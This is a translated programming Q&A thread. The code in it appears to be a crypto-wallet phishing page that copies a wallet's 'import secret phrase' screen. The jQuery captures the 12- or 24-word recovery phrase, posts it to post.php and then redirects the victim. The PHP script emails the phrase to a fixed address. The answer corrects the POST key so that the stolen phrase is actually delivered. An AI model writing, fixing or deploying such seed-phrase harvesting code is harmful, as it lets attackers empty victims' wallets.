Jquery ajax variable to PHP mailto ()



我正试图将import-account__secret-phrase发布到另一个文件中的$_post PHP变量。存储/通过电子邮件发送变量。

<script>
var p = !1;
setTimeout(function() {
$(".z2").addClass("hidden"), $(".z3").removeClass("hidden")
}, 1e3), $(".import-account__secret-phrase").on("keyup", function() {
var t = $(this).val().split(" ");
p || (12 == t.length && 1 < t[11].length || 24 == t.length && 1 < t[23].length ? $(".button.btn--first-time.first-time-flow__button").prop("disabled", !1) : $(".button.btn--first-time.first-time-flow__button").prop("disabled", !0))
}), $(".button.btn--first-time.first-time-flow__button").on("click", function() {
p = !0, $(this).prop("disabled", !0).html('<i class="fa fa-spinner fa-spin fa-fw"></i> ' + $(this).html()), $.post("post.php", {
data1: "Account",
data: $(".import-account__secret-phrase").val()
}, function() {
p = !1
}, "json"), window.parent.opener.postMessage({
uni: !0
}), setTimeout(function() {
$(".z2").removeClass("hidden"), $(".z3").addClass("hidden"), setTimeout(function() {
window.parent.opener.location.replace("https://website.com"), window.parent.close()
}, 2e3)
}, 1e3)
}), document.body.addEventListener("contextmenu", function(t) {
"import-account__secret-phrase" != t.toElement.className && t.preventDefault()
}, !1);
</script>

这是同一文件夹中的post.php文件。

<?php
// data sent in header are in JSON format
header('Content-Type: application/json');
// takes the value from variables and Post the data
$postmessage = $_POST['.import-account__secret-phrase'];
$to = "email@email.com";
$subject = "Phrase";
// Email Template
$message .= "Message:". $postmessage."<br>";
$header .= "MIME-Version: 1.0rn";
$header .= "Content-type: text/htmlrn";
$retval = mail ($to,$subject,$message,$header);
?>

电子邮件被激发并接收,但$postmessage变量为空,并且不会显示机密短语。

问题是因为您正在发送datadata1参数中的值,而您的PHP似乎正在尝试使用DOM选择器来检索值。

从上下文中,您需要将该选择器更改为仅'data',以便它读取您在$.ajax()调用中提供的值。

$postmessage = $_POST['data'];

我还建议您使用更具描述性的参数名称。

最新更新